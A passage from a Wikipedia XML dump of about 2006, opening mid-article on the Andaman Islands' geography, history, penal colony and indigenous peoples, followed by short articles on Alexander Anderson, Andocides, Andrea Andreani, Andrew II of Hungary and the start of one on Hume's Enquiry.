Andamans is the only place in India with an [[active volcano]]. [[Barren Island (Andaman Islands)|Barren Island]], northeast of Port Blair, became active in [[1990s]] after being quiescent for almost two hundred years. It erupted again in May 2005, experts pointing to the post-tsunami change in tectonic plates as the likely cause. The isolated extinct volcano of [[Narcondam Island|Narcondam]], rising 710 m out of the sea, is 114 km east of North Andaman. Plans are afoot to make volcano tourism popular. Also 64 km to the east is the [[Invisible Bank]], with one rock just awash, and 55 km southeast of Narcondam is a submarine hill rising to 689 m below the surface of the sea. Narcondam, Barren Island and the Invisible Bank, a great danger of these seas, are in a line almost parallel to the Andamans inclining towards them from north to south.

===Topography===
The Andamans, unlike the Lakshadweep-Chagos chain, are high volcanic islands, arising from a submerged mountain chain that follows the southward extension of the continental shelf.

Extensive fringing reefs exist here, as well as a 320 kilometers-long barrier reef on the west coast. Much of the wildlife on these islands is endemic, including 112 species of endemic birds. While poorly known scientifically, these reefs may prove to be the most diverse and best preserved in the Indian Ocean.

The islands forming Great Andaman consist of a mass of hills enclosing very narrow valleys, the whole covered by dense tropical jungle. The hills rise to a considerable elevation: 
the chief heights being in the North Andaman, Saddle Peak (732 m); in the Middle Andaman, Mount Diavolo behind Cuthbert Bay (511 m); in the South Andaman, Koiob (459 m), Mount Harriet (364 m) and the Cholunga range (324 m); and in Rutland Island, Ford's Peak (433 m). Little Andaman is practically flat. There are no rivers and few perennial streams in the islands. The whole of the Andamans and the outlying islands were completely surveyed topographically by the Indian Survey Department under Colonel Hobday in [[1883]]-[[1886]], and the surrounding seas were charted by Commander Carpenter in [[1888]]-[[1889]].

===Harbours===
The coasts of the Andamans are deeply indented, giving existence to a number of safe harbours, which are often surrounded by mangrove swamps. The chief harbours are (starting northwards from Port Blair, the great harbour of South Andaman) on the East coast: Port Meadows, Colebrooke Passage, Elphinstone Harbour (Homfray's Strait), Stewart Sound and Port Cornwallis. The last three are very large. On the West coast: Temple Sound, Interview Passage, Port Anson or Kwangtung Harbour (large), Port Campbell (large), Port Mouat and Macpherson Strait. There are many other safe anchorages about the coast, notably Shoal Bay and Kotara Anchorage in South Andaman; Cadell Bay and the Turtle Islands in North Andaman; and Outram Harbour and Kwangtung Strait in the archipelago.

==Geology==
The Andaman Islands and the [[Nicobar Islands]] to the south form part of a range of submarine mountains, 1130 km long, running from Cape Negrais in the Arakan Yoma range of Burma, to Achin Head in Sumatra. This range separates the Bay of Bengal from the Andaman Sea, and it contains much that is geologically characteristic of the Arakan Yoma. The older rocks are early Tertiary or late Cretaceous. The newer rocks are in Ritchie's Archipelago chiefly, and contain fossils of radiolarians and foraminifera. There is coral along the coasts everywhere, and the Sentinel Islands are composed of the newer rocks with a superstructure of coral. A theory of a still continuing subsidence of the islands was formed by Kurz in [[1866]] and confirmed by Oldham in [[1884]]. Signs of its continuance are found on the east coast in several places.

==Climate==
The climate of the Andamans themselves may be described as normal for tropical islands of similar latitude. It is always warm, but with sea-breezes; very hot when the sun is northing; irregular rainfall, but usually dry during the north-east, and very wet during the south-west monsoon. Not only does the rainfall at one place vary from year to year, but there is an extraordinary difference for places quite close to one another. The Islands are barely affected by the often disastrous cyclones that come up the Bay of Bengal, though they are within the influence of practically every one. The Andamans thus were once of great importance for monitoring weather in the region for the benefit of the Indian mainland and ships at sea in the Indian Ocean. A meteorological station was established at Port Blair in [[1868]].

==Flora==
A section of the Forest Department of India was established in the Andamans in [[1883]], and in the neighbourhood of Port Blair 400 km&amp;sup2; were set apart for regular forest operations to be carried on by convict labour. The chief timber of indigenous growth is [[padouk]] ''(Pterocarpus dalbergioides'') used for buildings, boats, furniture, fine joinery and all purposes to which teak, mahogany, hickory, oak and ash are applied. This tree was widespread and formed a valuable export to European markets. Other first-class timbers are koko (''Albizzia lebbek''), white chuglam (''Terminalia bialata''), black chugiam (''Myristica irya''), marble or zebra wood (''Diospyros kurzii'') and satin-wood (''Murraya exotica''), which differs from the satin-wood of Ceylon (''Chloroxylon swietenia''.) All of these timbers are used for furniture and similar fine purposes, but many are now endangered. In addition there are a number of second- and third-class timbers, which are used locally and for export to Calcutta. Gangaw (''Messua ferrea'') the Assam iron-wood, is suitable for railway sleepers; and didu (''Bombax insigne'') is used for tea-boxes and packing-cases. 

Among the introduced flora are tea, Siberian coffee, cocoa, Ceará rubber (which has not done well), Manila hemp, teak, cocoanut and a number of ornamental trees, fruit-trees, vegetables and garden plants. Tea is grown in considerable quantities and the cultivation was once under a department of the penal settlement. The general character of the forests is Burmese with an admixture of Malay types. Great mangrove swamps supply unlimited fire-wood of the best quality. The great peculiarity of Andaman flora is that, with the exception of the Cocos islands, no coconut palms are found in the archipelago.

==Fauna==
The Andamans are home to a wide variety of bird, animal and marine life, with many [[species]] [[endemic (ecology)|endemic]] to the islands, or even locations on the islands, to a large degree owing to the islands' relative isolation from nearby landmasses. Several of these species are also to be found in the Nicobar islands, whilst others are found only in one or the other island groups.

Endemic [[bird]] species include the [[Nicobar scrubfowl]] (''Megapodius nicobariensis'', a type of  [[megapode]]), [[Nicobar green imperial pigeon]] (''Ducula aenea nicobarica''), and the [[Nicobar emerald dove]] (''Chancophaps indica augusta''). 

[[Reptile|Reptilian]] species include the [[saltwater crocodile]] (''Crocodylus porusus'') which nests in [[estuary|estuarine]] regions. Several species of endangered [[Sea turtle]] (family ''Cheloniidae'') are also found in the islands' waters, such as [[Hawksbill turtle]]s (''Eretmochelys imbricata''), [[Leatherback Sea Turtle]]s (''Dermochelys coriacea''), and [[Olive Ridley]] sea turtles (''Lepidochelys olivacea''). Terrestrial- and arboreal-dwelling reptiles include several species of [[lizard]], such as the [[Coryphophylax subcristatus|Bay Island forest lizard]] (''Coryphophylax subcristatus''), a species from the [[Agamidae]] Family of lizards.

Marine mammals include [[Dugong]] (''Dugong dugon''), Finless porpoise (''Neophocaena hocaenoides''), and [[Blainville's Beaked Whale]] (''Mesoplodon densirostris''), a wide-ranging but non-migratory species of [[mesoplodont whale]]s. Rich fish and invertebrate faunas exist on the reefs; fish families include Labridae, Pomacentridae, Scaridae, and Blenniidae. Nine species of seagrass are also present.

Fish are very numerous and many species are endemic to the Andaman seas. Turtles are abundant and supply the Calcutta market. Of imported animals, cattle, goats, asses and dogs thrive well, ponies and horses indifferently, and sheep badly, though some success has been achieved in breeding them.

==History==
It is uncertain whether any of the names of the islands given by [[Ptolemy]] ought to be attached to the Andamans; yet it is probable that his name itself is traceable in the Alexandrian geographer. Andaman first appears distinctly in the Arab notices of the [[9th century]], already quoted. But it seems possible that the tradition of marine nomenclature had never perished; that the ''Agathou daimonos nesos'' was really a misunderstanding of some form like ''Agdaman'', while ''Nesoi Baroussai'' survived as ''Lanka Balus'', the name applied by the Arabs to the [[Nicobar Islands]]. The islands are briefly noticed by [[Marco Polo]], who may have seen them without visiting, under the name ''Angamanain'', seemingly an Arabic dual, &quot;the two Angamans&quot;, with the exaggerated  picture of the natives as dog-faced [[anthropophagi]]. 

Another notice occurs in the story of [[Nicolo Conti]] (c. 1440), who explains the name to mean ''Island of Gold'', and speaks of a lake with peculiar virtues as existing in it. The name is probably derived from the [[Malay language|Malay]] ''Handuman'', coming from the ancient ''Hanuman'' (monkey god). Later travellers repeat the stories, too well founded, of the &quot;ferocious hostility&quot; of the people; of whom we may instance [[Cesare Federici]] ([[1569]]), whose narrative is given in ''Ramusio'', vol. iii. (only in the later editions), and in ''Purchas''. A good deal is also told of them in the vulgar and gossiping but useful work of [[Captain A. Hamilton]] ([[1727]]). 

In [[1788]]-[[1789]] the government of Bengal sought to establish in the Andamans a penal colony, associated with a harbour of refuge. Two officers, Colebrooke of the Bengal Engineers, and Blair of the sea service, were sent to survey and report. In the sequel the settlement was established by Captain Blair, in September [[1789]], on Chatham Island, in the southeast bay of the Great Andaman, now called Port Blair, but then Port Cornwallis. There was much sickness, and after two years, urged by [[Admiral Cornwallis]], the government transferred the colony to the northeast part of Great Andaman, where a naval arsenal was to be established. With the colony the name also of Port Cornwallis was transferred to this new locality. The scheme did ill; and in [[1796]] the government put an end to it, owing to the great mortality and the embarrassments of maintenance. The settlers were finally removed in May [[1796]]. 

In [[1824]] Port Cornwallis was the ''rendezvous'' of the fleet carrying the army to the first Burmese war. In [[1839]], Dr Helfer, a German savant employed by the Indian government, having landed in the islands, was attacked and killed. In [[1844]] the troop-ships ''Briton'' and ''Runnymede'' were driven ashore here, almost close together. The natives showed hostility, killing all stragglers. Outrages on shipwrecked crews continued so rife that the question of occupation had to be taken up again; and in [[1855]] a project was formed for such a settlement, embracing a convict establishment. This was interrupted by the [[Indian Mutiny of 1857]], but as soon as the neck of that revolt was broken, it became more urgent than ever to provide such a resource, on account of the great number of prisoners falling into British hands. Lord Canning, therefore, in November [[1857]], sent a commission, headed by Dr F. Mouat, to examine and report. The commission reported favourably, selecting as a site Blair's original Port Cornwallis, but pointing out and avoiding the vicinity of a salt swamp which seemed to have been pernicious to the old colony. To avoid confusion, the name of Port Blair was given to the new settlement. 

For some time sickness and mortality were excessively large, but the [[Land reclamation|reclamation of swamp]] and clearance of jungle on an extensive scale by Colonel Henry Man when in charge ([[1868]]-[[1870]]), had a most beneficial effect, and the health of the settlement has since been notable. The Andaman colony obtained a tragical notoriety from the murder of the viceroy, the earl of Mayo, by a Muslim convict, when on a visit to the settlement on [[February 8]], [[1872]]. In the same year the two groups, Andaman and Nicobar, the occupation of the latter also having been forced on the British government (in [[1869]]) by the continuance of outrage upon vessels, were united under a chief commissioner residing at Port Blair. 
[[Image:Andaman ross is.jpg|thumb|Ross Island - during the British rule the main military base]]
The Andaman islands were later occupied by Japan during [[World War II]]. The islands were nominally put under the authority of the [[Arzi Hukumate Azad Hind]] of Netaji [[Subhash Chandra Bose]]. Netaji visited the islands during the war, and renamed them as Shaheed (Martyr) &amp; Swaraj (Self-rule). General Loganathan of the [[Indian National Army]] , was Governor of the Andaman and Nicobar Islands which had been annexed to the Provisional Government.  After the end of the war they briefly returned to British control, before becoming part of the newly independent state of India.

On [[26 December]] [[2004]] the coast of the Andaman Islands was devastated by a 10 metre high [[tsunami]] following the [[2004 Indian Ocean earthquake]].

===Penal Settlement===
The point of enduring interest as regards the Andamans is the [[penal colony]], the object of which is to turn the life-sentence and few long-sentence convicts, who alone are sent to the settlement, into honest, self-respecting men and women, by leading them along a continuous course of practice in self-help and self-restraint, and by offering them every inducement to take advantage of that practice. After ten years' graduated labour the convict is given a ticket-of-leave and becomes self-supporting. He can farm, keep cattle, and marry or send for his family, but he cannot leave the settlement or be idle. With approved conduct, however, he may be absolutely released after twenty to twenty-five years in the settlement; and throughout that time, though possessing no civil rights, a [[Quasi-judicial body|quasi-judicial]] procedure controls all punishments inflicted upon him, and he is as secure of obtaining justice as if free. There is an unlimited variety of work for the labouring convicts, and some of the establishments are on a large scale. Very few experts are employed in supervision; practically everything is directed by the officials, who themselves have first to learn each trade. Under the chief commissioner, who is the supreme head of the settlement, are a deputy and a staff of assistant superintendents and overseers, almost all Europeans, and sub-overseers, who are natives of India. All the petty supervising establishments are composed of convicts. 

The garrison consists of 140 British and 300 Indian troops, with a few local European volunteers. The police are organized as a military battalion 643 strong. The number of convicts has somewhat diminished of late years and in [[1901]] stood at 11,947. The total population of the settlement, consisting of convicts, their guards, the supervising, clerical and departmental staff, with the families of the latter, also a certain number of ex-convicts and trading settlers and their families, numbered 16,106. The labouring convicts are distributed among four jails and nineteen stations; the self-supporters in thirty-eight villages. The elementary education of the convicts' children is compulsory. There are four hospitals, each under a resident medical officer, under the general supervision of a senior officer of the Indian medical service, and medical aid is given free to the whole population. The net annual cost of the settlement to the government is about six pounds per convict. The harbour of Port Blair is well supplied with buoys and harbour lights, and is crossed by ferries at fixed intervals, while there are several launches for hauling local traffic. On Ross Island there is a lighthouse visible for 19 miles. A complete system of signalling by night and day on the Morse system is worked by the police. Local posts are frequent, but there is no telegraph and the mails are irregular.

The above accounts, written while Britain still controlled India, may leave the impression that these settlements were a model of progressive penal reform. Indian accounts, however, paint a different picture. From the time of its development in [[1858]] under the direction of [[James Pattison Walker]], and in response to the mutiny and rebellion of the previous year, the settlement was first and foremost a repository for political prisoners. The [[Cellular Jail]] at Port Blair when completed in [[1910]] included 698 cells designed to better accommodate solitary confinement; each cell measured 4.5 by 2.7 metres with a single ventilation window 3 metres above the floor. [[Vinayak Damodar Savarkar]] had been one of the illustrious prisoners there. The Viper Chain Gang Jail on Viper Island was reserved for troublemakers, and was also the site of hangings. In the 20th century it became a convenient place to house India's freedom fighters, and it was here that on [[December 30]], [[1943]] during Japanese occupation, that [[Subhas Chandra Bose]] first raised the flag of Indian independence. The penal colony was closed on [[August 15]], [[1947]] when India gained its freedom. It has since served as a museum to the freedom fighters.

==Demographics==
The population of the Andaman Islands has increased rapidly, from roughly 2000 in 1901 to 157,821 in 1981, 241,453 in 1991, and 314,239 in 2001. These increases are mostly attributable to migration from the Indian mainland. It is estimated that less than ten percent of the population of the Andaman Islands is indigenous Andamanese including in 2005, only 99 [[Onge]], 250 [[Sentinelese]], 39 [[Andamanese]] and 350 [[Jarawa (Andaman Islands)|Jarawas]].

==Indigenous Andamanese==    
[[Image:Andaman tribal &amp; linguistic map.jpg|thumb|300px|Ethnolinguistic map of the precolonial Andaman Islands]]
The various [[indigenous peoples|indigenous]] [[Andamanese]] peoples [[list of subsistence techniques|subsisted]] mostly as [[hunter-gatherer]] communities, supplemented by [[fishing]] and limited [[agriculture|agricultural]] practices. The Sentinelese, Önge, and Jarawa peoples continue in this way of life in the southern part of the archipelago. 

The indigenous Andamanese are slightly built, dark-skinned, with tightly-curled hair, and physically resemble the [[Semang]] of the [[Malay Peninsula]] and the [[Aeta]] of the [[Philippines]]. The Andamanese, Semang, and Aeta are probably descendants of a people who were more widespread in [[Southeast Asia]] before they were displaced or assimilated by the ancestors of today's [[Austronesian]]-speakers.

Their antiquity is attested by the remains found in their kitchen-[[midden]]s. These are of great age, and rise sometimes to a height exceeding 5 metres. The fossil shells, pottery and primitive stone implements, found alike at the base and at the surface of these middens, show that the habits of the islanders have varied little since the remote past, and lead to the belief that the Andamans were settled by their present inhabitants some time during the [[Pleistocene]] period, and certainly no later than the [[Neolithic]] age. The oldest [[archaeological]] evidence for occupation yet obtained is dated to [[3rd century BC|2,200 years ago]]; however, the investigations which have been made are not extensive, and it is most likely that much earlier dates will be attested. 

The Andamans may have been linked to Myanmar by a land bridge during the [[ice age]]s, and it is possible that the ancestors of the Andamanese reached the islands without crossing the sea. Whether an original sea-crossing was required or not, linguistic and genetic studies indicate that the Andamanese peoples have lived in almost complete isolation for 30,000 to 70,000 years. For example, a report in the journal &quot;Science&quot; [Vol 308, Issue 5724, 996, [[13 May]] [[2005]]] by Thangaraj et al. identifies M31 and M32 [[mitochondrial DNA|mtDNA]] types among indigenous Andamanese, which show that these populations became genetically isolated about 50,000 to 70,000 years ago, apparently after their initial migration from Africa.

The indigenous Andamanese spoke several related languages, the [[Andamanese languages]], a distinct [[language family]] unrelated to languages found outside the islands. Of the 13 languages spoken at the beginning of the century, nine are now extinct. The extinct languages were spoken on Great Andaman, and the Great Andamanese now mostly speak [[Hindi]]. The [[Jarawa (Andaman Islands)|Jarawa]], [[Onge|Önge]], and [[Sentinelese]] mostly speak their own languages, and limit their contact with outsiders.

The earliest European notice of the Andamanese is in a remarkable collection of early [[Arab]] notes on India and China from the year [[851]] which influenced the view of this people until modern times. The traditional charge of [[cannibalism]] has been very persistent; but it is entirely denied by the islanders themselves, and is now and probably always has been untrue. Of their massacres of shipwrecked crews, there is no doubt, but that the policy of conciliation has secured a friendly reception for shipwrecked crews at any port of the islands.

The historic population of the islands is difficult to estimate, but it has probably always been small. The estimated total at a census taken in [[1901]] was only 2,000. Though all descended from one stock, there are twelve distinct [[Tribes of India|tribes]] of the Andamanese, each with its own clearly-defined locality, its own distinct variety of the one fundamental language and to a certain extent its own separate habits. Every tribe is divided into fairly well defined septs. The tribal feeling may be expressed as friendly within the tribe, courteous to other Andamanese if known, hostile to every stranger, Andamanese or other. 

The Andaman languages are extremely interesting from the philological standpoint. They are [[agglutinative]] in nature, show hardly any signs of syntactical growth though every indication of long etymological growth, give expression to only the most direct and the simplest thought, and are purely colloquial and wanting in the modifications always necessary for communication by writing. The sense is largely eked out by manner and action. Mincopie is the first word in Colebrooke's vocabulary for &quot;Andaman Island, or native country&quot;, and the term - though probably a mishearing on Colebrooke's part for Mongebe (&quot;I am an Onge&quot;, i.e. a member of the Onge tribe) - has thus become a persistent book-name for the people.

Another division of the natives is into [[Aryauto]] or long-shore-men, and the [[Eremtaga]] or jungle-dwellers. The habits and capacities of these two differ, owing to surroundings, irrespectively of tribe. Yet again the Andamanese can be grouped according to certain salient characteristics: the forms of the bows and arrows, of the canoes, of ornaments and utensils, of [[tattoo]]ing and of language. 

The average height of males is 149 cm; of females, 137 cm. The only artificial deformity is a depression of the skull, chiefly among one of the southern tribes, caused by the pressure of a strap used for carrying loads. 

The women's heads are shaved entirely and the men's into fantastic patterns. Yellow and [[red ochre]] mixed with grease are coarsely smeared over the bodies, grey in coarse patterns and white in fine patterns resembling tattoo marks. Tattooing is of two distinct varieties. In the south the body is slightly cut by women with small flakes of glass or quartz in zigzag or lineal patterns downwards. In the north it is deeply cut by men with pig-arrows in lines across the body. 

The male is said to reach adulthood when about fifteen years of age, typically marries when about twenty-six, and lives onto sixty or sixty-five if he reaches old age. Except as to the marrying age, these figures fairly apply to women. Before marriage, free intercourse between the sexes is the rule, though certain conventional precautions are taken to prevent it. Marriages rarely produce more than three children and often none at all. Divorce is rare, unfaithfulness after marriage uncommon and incest virtually unknown. 

By preference the Andamanese are exogamous as regards sept and endogamous as regards tribe.

There is no idea of government, but in each sept there is a head, who has attained that position by degrees on account of some tacitly admitted superiority and commands a limited respect and some obedience. The young are deferential to their elders. Offences are punished by the aggrieved party. Property is communal and theft is only recognized as to things of absolute necessity, such as arrows, pork and fire. Fire is the one thing they are really careful about, not knowing how to renew it. A very rude barter exists between tribes of the same group in regard to articles not locally obtainable. 

The religion consists of beliefs in spirits of the wood, the sea, disease and ancestors, and of avoidance of acts traditionally displeasing to them. There is neither worship nor propitiation. An anthropomorphic deity, [[Puluga]], is the cause of all things, but it is not necessary to propitiate him. There is an idea that the &quot;soul&quot; will go somewhere after death, but there is no heaven nor hell, nor idea of a corporeal resurrection. There is much faith in dreams, and in the utterances of certain &quot;wise men&quot;, who practise an embryonic magic and witchcraft. 

The great amusement of the Andamanese is a formal night dance, but they are also fond of games. The bows differ altogether with each group, but the same two kinds of arrows are in general use: (1) long and ordinary for fishing and other purposes; (2) short with a detachable head fastened to the shaft by a thong, which quickly brings pigs up short when shot in the thick jungle. Bark provides material for string, while baskets and mats are neatly and stoutly made from canes and buckets out of bamboo and wood. 

None of the tribes ever ventures out of sight of land, and they have no idea of steering by sun or stars. Their canoes are simply hollowed out of trunks with the adze and in no other way, and it is the smaller ones that are outrigged; they do not last long and are not good sea-boats. The story of raids on Car Nicobar, out of sight across a stormy and sea-rippled channel, must be discredited. 

Honour is shown to an adult when he dies by wrapping him in a cloth and placing him on a platform in a tree instead of burying him. At such a time the encampment is deserted for three months.


==Reference==
*{{1911}}

==External links==
*[http://andaman-islands.tripod.com/ Photos from Andaman Islands] 100 photos taken by an Andaman's lover
*[http://community.webshots.com/user/mp5ingh Snaps of Andaman and Nicobar Islands] Snaps of Andaman Islands taken by Mahendra Pratap Singh, S/o Shri R.P.Singh
*[http://www.andaman.org/ The Andaman Association, Lonely Islands: The Andamanese]

[[Category:Ecoregions of India]]
[[Category:Archipelagoes]]
[[Category:Regions of India]]
[[Category:Islands of India]]
[[Category:Andaman and Nicobar Islands]]
[[Category:Indomalaya]]
[[Category:Tropical and subtropical moist broadleaf forests]]

[[da:Andamanerne]]
[[de:Andamanen]]
[[et:Andamani saared]]
[[es:Islas Andamán]]
[[eo:Andamanoj]]
[[fr:Îles Andaman]]
[[id:Andaman]]
[[nl:Andamanen]]
[[no:Andamanene]]
[[pl:Andamany]]
[[pt:Ilhas Andaman]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Anderson (mathematician)</title>
    <id>1751</id>
    <revision>
      <id>35872567</id>
      <timestamp>2006-01-19T22:56:43Z</timestamp>
      <contributor>
        <username>Valentinian</username>
        <id>256198</id>
      </contributor>
      <comment>/* References */ stub sorting</comment>
      <text xml:space="preserve">'''Alexander Anderson''' (c. [[1582]]-[[1620]]?) was a Scottish [[mathematician]] born in [[Aberdeen]].  In his youth he went to the continent and taught mathematics in [[Paris]], where he published or edited, between the years [[1612]] and [[1619]], various [[geometric]] and [[algebraic]] tracts.

He was selected by the executors of [[François Viète]] to revise and edit Viete's manuscript works. The works of Anderson amount to six thin quarto volumes, and as the last of them was published in [[1619]], it is probable that the author died soon after that year, but the precise date is unknown.

==References==
*{{1911}}
{{Scotland-bio-stub}}
{{UK-scientist-stub}}
{{Mathematician-stub}}

[[Category:1582 births|Anderson, Alexander]]
[[Category:1620 deaths|Anderson, Alexander]]
[[Category:Aberdonians|Anderson, Alexander]]
[[Category:Scottish emigrants|Anderson, Alexander]]
[[Category:Scottish mathematicians|Anderson, Alexander]]
[[Category:Scottish scholars|Anderson, Alexander]]
[[Category:University of Paris|Anderson, Alexander]]

[[es:Alexander Anderson]]
[[sv:Alexander Anderson]]</text>
    </revision>
  </page>
  <page>
    <title>Andocides</title>
    <id>1752</id>
    <revision>
      <id>28108588</id>
      <timestamp>2005-11-12T11:42:59Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Andocides''', or '''Andokidès ''', ([[440 BC|440]]&amp;ndash;[[390 BC]]) one of the ten [[Attic orators]].

He was implicated during the [[Peloponnesian War]] in the mutilation of the [[Herms]] on the eve of the departure of the [[Sicilian expedition|Athenian expedition]] against [[Sicily]] in [[415 BC]]. Although he saved his life by turning informer, he was condemned to partial loss of civil rights and went into exile.  He engaged in commercial pursuits, and returned to [[Athens]] under the general amnesty that followed the restoration of the democracy ([[403 BC]]), and filled some important offices.  In [[391 BC]] he was one of the ambassadors sent to [[Sparta]] to discuss peace terms, but the negotiations failed. Oligarchical in his sympathies, he offended his own party and was distrusted by the democrats. Andocides was no professional orator; his style is simple and lively, natural but inartistic. 

'''Speeches extant'''--''De Reditu,'' his plea for his return and removal of civil disabilities; ''De Mysteriis,'' his defence against the charge of impiety in attending the [[Eleusinian Mysteries]]; ''De Pace,'' advocating peace with Sparta; ''Contra [[Alcibiades|Alcibiadem]],'' generally considered spurious.  


==References==
*{{1911}}
[[Category:Ancient Athenians|Andocides]]

[[de:Andokides (Redner)]]
[[el:Ανδοκίδης]]
[[fr:Andocide]]
[[hu:Andokidész]]</text>
    </revision>
  </page>
  <page>
    <title>Andrea Del Sarto</title>
    <id>1753</id>
    <revision>
      <id>15900218</id>
      <timestamp>2002-04-24T05:59:11Z</timestamp>
      <contributor>
        <username>Gianfranco</username>
        <id>918</id>
      </contributor>
      <comment>#REDIRECT [[Andrea del Sarto]]  - (correct title) - moving content</comment>
      <text xml:space="preserve">#REDIRECT [[Andrea del Sarto]]</text>
    </revision>
  </page>
  <page>
    <title>Andrea Andreani</title>
    <id>1754</id>
    <revision>
      <id>35439958</id>
      <timestamp>2006-01-16T20:13:18Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: de</comment>
      <text xml:space="preserve">'''Andrea Andreani''' ([[1540]]-[[1623]]), Italian [[engraver]] on wood, in [[chiaroscuro]].
 
Born in [[Mantua]] about [[1540]] (Brulliot says [[1560]]) and died at [[Rome]] in [[1623]].  His engravings are scarce and valuable, and are chiefly copies of [[Mantegna]], [[Albrecht Dürer]], and [[Titian]]. The  most remarkable of his works are &quot;Mercury and Ignorance&quot;, the &quot;Deluge,&quot; &quot;Pharaoh's Host Drowned in the Red Sea&quot; (after Titian), the &quot;Triumph of Caesar&quot; (after Mantegna), and &quot;Christ retiring from the judgment-seat of Pilate&quot; after a relief by Giambologna.

==References==
*{{1911}}

[[Category:1540 births|Andreani]]
[[Category:1623 deaths|Andreani]]
[[Category:Italian engravers|Andreani]]
[[Category:Natives of Mantua|Andreani]]

[[de:Andrea Andreani]]</text>
    </revision>
  </page>
  <page>
    <title>Andrew II of Hungary</title>
    <id>1755</id>
    <revision>
      <id>41213584</id>
      <timestamp>2006-02-25T20:57:33Z</timestamp>
      <contributor>
        <username>Mathiasrex</username>
        <id>776781</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Andrew II''' ([[Hungarian language|Hungarian]]: ''II. András'' or ''II. Endre'', [[Slovak language|Slovak]]: ''Ondrej II'') ([[1175]]-[[1235]]) was a son of [[Béla III of Hungary|Béla III]] and succeeded his nephew, the infant [[Ladislaus III of Hungary|Ladislaus III]], as King of Hungary in [[1205]].

Few other royal reigns were as detrimental to the Hungarian realm as Andrew's. Valiant, enterprising, pious as he was, all these fine qualities were ruined by a reckless good nature which never thought of the future. He declared in a decree that the generosity of a king should be limitless, and he followed this principle throughout his reign. He gave away everything - money, villages, domains, whole counties - to the utter impoverishment of the treasury, thereby rendering the crown, for the first time in Hungarian history, dependent upon the great [[nobility]] eager for personal gain. In all matters of  government, Andrew was equally reckless and haphazard. He was directly responsible for the beginnings of the feudal anarchy which led to the extinction of the [[Árpáds|Árpád]] [[dynasty]] at the end of the [[13th century]]. The great nobles did not even respect the lives of the royal family, for Andrew was recalled from a futile attempt to reconquer [[Galicia (Central Europe)|Galicia]] through the murder of his first wife [[Gertrude of Meran]] in [[1213]] by rebellious nobles jealous of the influence of her relatives. 

In [[1215]] he married Iolanthe (Yolande) of [[France]], but in [[1217]] was compelled by [[Pope Honorius III]] to lead the [[Fifth Crusade]] to the [[Holy Land]], which he undertook in hopes of being elected [[Latin Empire|Latin emperor]] of [[Constantinople]].  The crusade was not popular in Hungary, but Andrew contrived to collect 15,000 men together, whom he led to [[Venice]]. After the surrender of Hungarian claims on Zara ([[Zadar]]), about two-thirds of the crusaders were conveyed to [[Acre (city)|Acre]]. Nevertheless the whole expedition was a forlorn hope. The [[Kingdom of Jerusalem]] was by this time reduced to a strip of coast about 440 mi² in extent, and after a drawn battle with the [[Turkic peoples|Turks]] on the [[Jordan River]] on [[November 10]] 1217 and fruitless assaults on the fortresses of the [[Lebanon]] and on [[Mount Tabor]], Andrew started home ([[January 18]], [[1218]]) through Antioch ([[Antakya]]), Iconium ([[Konya]]), Constantinople, and [[Bulgaria]]. On his return he found the feudal barons in the ascendant, and they extorted from him the [[Golden Bull of 1222|Golden Bull]].

Andrew's last exploit was to defeat an invasion of [[Frederick II of Austria|Frederick II]] of [[Austria]] in [[1234]]. That same year he married his third wife, Beatrice of [[Este]].

==Family==

Andrew had five children by his first wife, Gertrude:
# Maria of Hungary (1203-1221), married Tsar [[Ivan Asen II of Bulgaria]]
# [[Bela IV of Hungary]] (1206-1270)
# [[Elisabeth of Hungary|Saint Elizabeth of Hungary]] (1207-1231)
# Kálmán, Duke of [[Croatia]] (1208-1241)
# András, King of Galicia (1210-1234)

From his second marriage to Yolande de Courtney, he had one daughter:
# Jolán (Yolande) of Hungary (1215-1251), married [[James I of Aragon]]

Andrew's third marriage to Beatrice d'Este produced one posthumous son:
# István (1236-1271), who was himself father of King [[Andrew III of Hungary]]

==References==
* {{1911}}

{{start box}}
{{succession box|title=[[King of Hungary]]|before=[[Ladislaus III of Hungary|Ladislaus III]]|after=[[Bela IV of Hungary|Béla IV]]|years=1205&amp;ndash;1235}}
{{end box}}

[[Category:Hungarian monarchs]]
[[Category:1175 births|Andrew II of Hungary]]
[[Category:1235 deaths|Andrew II of Hungary]]
[[Category:Crusades]]

[[de:Andreas II. (Ungarn)]]
[[fr:André II de Hongrie]]
[[hu:II. András]]
[[ja:エンドレ2世]]
[[pl:Andrzej II]]
[[pt:André II da Hungria]]
[[ro:Andrei al II-lea al Ungariei]]
[[sk:Ondrej II. (Uhorsko)]]
[[sv:Andreas II av Ungern]]
[[zh:安德烈二世]]</text>
    </revision>
  </page>
  <page>
    <title>An Enquiry Concerning Human Understanding</title>
    <id>1756</id>
    <revision>
      <id>42161859</id>
      <timestamp>2006-03-04T05:47:49Z</timestamp>
      <contributor>
        <username>Lucidish</username>
        <id>75338</id>
      </contributor>
      <text xml:space="preserve">'''''An Enquiry Concerning Human Understanding''''' is a book by the [[Scotland|Scottish]] [[philosopher]] [[David Hume]], published in [[1748]].

This is the book that woke [[Immanuel Kant]] from his self-described &quot;dogmatic slumber&quot;. It was a simplification of an earlier effort, Hume's ''[[A Treatise of Human Nature]]'', published anonymously in [[London]] in [[1739]]&amp;ndash;[[1740]]. Hume was disappointed with the reception of the ''Treatise'' (it &quot;fell dead-born from the press&quot;, as he put it) and so tried again to get his ideas before the public in this ''Enquiry''. Among the changes from the ''Treatise'' included a removal of Hume's theories of [[personal identity]].

== Summary ==
The argument of the Enquiry proceeds following these steps:

# '''Of the different species of philosophy.''' In the first section of the Enquiry, Hume provides a rough introduction to philosophy as a whole. For Hume, philosophy can be split into two general parts: natural and moral philosophy. By &quot;moral philosophy&quot; Hume means the philosophy of human nature, which investigates both actions and thoughts. He emphasizes in this section, by way of warning, that philosophers with nuanced thoughts will likely be cast aside in favor of those who weild flowery rhetoric. However, he insists, precision helps art and craft of all kinds.
# '''Of the origin of ideas.''' In this section, Hume discusses the distinction between impressions and ideas. By &quot;impressions&quot;, he means sensations, while by &quot;ideas&quot;, he means memories and imaginings. According to Hume, the difference between the two is that ideas are less vivacious than impressions. Along with the empiricist's program, he argues that the source of all ideas are impressions, combined with the operations of the imagination. One noteworthy consequence which he gives some treatment of is the &quot;missing blue shade&quot; problem.
